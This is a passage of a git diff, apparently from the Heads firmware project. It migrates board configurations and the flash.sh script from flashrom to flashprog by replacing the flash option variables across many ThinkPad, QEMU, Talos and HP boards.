a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index a0981ed4e..929b5a5a3 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -37,7 +37,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index e880fbe34..b1fe068fc 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -38,7 +38,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 77ffbbb5b..1c42f6f70 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -37,7 +37,6 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -#CONFIG_FLASHROM=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y @@ -90,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 3494f6f8d..89259f921 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -21,7 +21,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 60ee80bda..8332c8a78 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index fd549a08d..3d3c1da47 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -19,7 +19,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 4e3addec9..2fabc2da7 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -19,7 +19,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index aaf34a8c6..756ab46b3 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -8,7 +8,7 @@ export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T440p-maximized" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 7bcb5c101..119b0a17b 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 6d8c8e719..40350d0cd 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/talos-2/talos-2.config b/boards/talos-2/talos-2.config index b7f0923d5..e3a935258 100644 --- a/boards/talos-2/talos-2.config +++ b/boards/talos-2/talos-2.config @@ -21,7 +21,7 @@ CONFIG_QRENCODE=y CONFIG_TPMTOTP=y CONFIG_GPG2=y CONFIG_PCIUTILS=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_POWERPC_UTILS=y @@ -47,6 +47,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="quiet" export CONFIG_BOOT_KERNEL_ADD="console=tty0 console=hvc0 rootdelay=3 rootwait panic=10" export CONFIG_BOARD_NAME="Talos 2" -export CONFIG_FLASHROM_OPTIONS="--noverify-all -p linux_mtd" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer linux_mtd" BOARD_TARGETS := ppc_tgz diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 670d07909..22c6e37c9 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index a318e37aa..60b7e726b 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 3bd82de15..91a95448d 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -8,7 +8,7 @@ export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad W541-maximized" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 4ebbd7da6..572524b2c 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -21,7 +21,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 41d1abd58..81a36fcfb 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -21,7 +21,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS += xx20_me_blobs diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 73e9ef076..3d3a78e76 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -19,7 +19,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=n CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index a5550d4dc..887bd03d7 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -31,7 +31,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KBD=y @@ -78,7 +78,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized-eDP" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index d40116507..2dc8af490 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -24,7 +24,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -80,7 +80,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 7e82616b2..2139c5a59 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -28,7 +28,7 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_USB_KEYBOARD_REQUIRED=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 5122468c4..1ffaec0d9 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -12,7 +12,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-flash.config #Add bare minimal tools for flashing boards CONFIG_BASH=n -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_ZSTD=n #CONFIG_GPG=y #CONFIG_FLASHTOOLS=y @@ -29,7 +29,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad X230-legacy-flash" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index bda3f498c..972b7556a 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -15,7 +15,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=n CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -55,7 +55,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-legacy" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 5a6bf840d..f7f930bcc 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -31,7 +31,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KBD=y @@ -77,7 +77,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized-eDP" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 99b15b477..86c2364fd 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -23,7 +23,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -68,7 +68,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index a0e679cdf..c07749052 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -29,7 +29,7 @@ export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -60,7 +60,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ @@ -72,4 +72,4 @@ $(pwd)/blobs/z220/me.bin: $(pwd)/blobs/z220/ifd.bin: COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/z220/download_BIOS_clean.sh \ No newline at end of file + $(pwd)/blobs/z220/download_BIOS_clean.sh diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index 845d46617..b3e1d6642 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -12,19 +12,20 @@ echo TRACE "Under /bin/flash.sh" -case "$CONFIG_FLASHROM_OPTIONS" in - -* ) - echo "Board $CONFIG_BOARD detected, continuing..." +case "$CONFIG_FLASH_OPTIONS" in + "" ) + die "ERROR: No flash options have been configured!\n\nEach board requires specific flashrom options and it's unsafe to flash without them.\n\nAborting." ;; * ) - die "ERROR: No board has been configured!\n\nEach board requires specific flashrom options and it's unsafe to flash without them.\n\nAborting." + DEBUG "Flash options detected: $CONFIG_FLASH_OPTIONS" + echo "Board $CONFIG_BOARD detected with flash options configured. Continuing..." ;; esac flash_rom() { ROM=$1 if [ "$READ" -eq 1 ]; then - flashrom $CONFIG_FLASHROM_OPTIONS -r "${ROM}" \ + $CONFIG_FLASH_OPTIONS -r "${ROM}" \ || die "Backup to $ROM failed" else cp "$ROM" /tmp/${CONFIG_BOARD}.rom @@ -42,14 +43,14 @@ flash_rom() { # persist PCHSTRP9 from flash descriptor if [ "$CONFIG_BOARD" = "librem_l1um" ]; then echo "Persisting PCHSTRP9" - flashrom $CONFIG_FLASHROM_OPTIONS -r /tmp/ifd.bin --ifd -i fd >/dev/null 2>&1 \ + $CONFIG_FLASH_OPTIONS -r /tmp/ifd.bin --ifd -i fd >/dev/null 2>&1 \ || die "Failed to read flash descriptor" dd if=/tmp/ifd.bin bs=1 count=4 skip=292 of=/tmp/pchstrp9.bin >/dev/null 2>&1 dd if=/tmp/pchstrp9.bin bs=1 count=4 seek=292 of=/tmp/${CONFIG_BOARD}.rom conv=notrunc >/dev/null 2>&1 fi warn "Do not power off computer. Updating firmware, this will take a few minutes" - flashrom $CONFIG_FLASHROM_OPTIONS -w /tmp/${CONFIG_BOARD}.rom 2>&1 \ + $CONFIG_FLASH_OPTIONS -w /tmp/${CONFIG_BOARD}.rom 2>&1 \ || recovery "$ROM: Flash failed" fi } @@ -84,7 +85,7 @@ if [ "$READ" -eq 0 ] && [ "${ROM##*.}" = tgz ]; then fi echo "Reading current flash and building an update image" - flashrom $CONFIG_FLASHROM_OPTIONS -r /tmp/flash.sh.bak \ + $CONFIG_FLASH_OPTIONS -r /tmp/flash.sh.bak \ || die "Read of flash has failed" # ROM and bootblock already have ECC diff --git 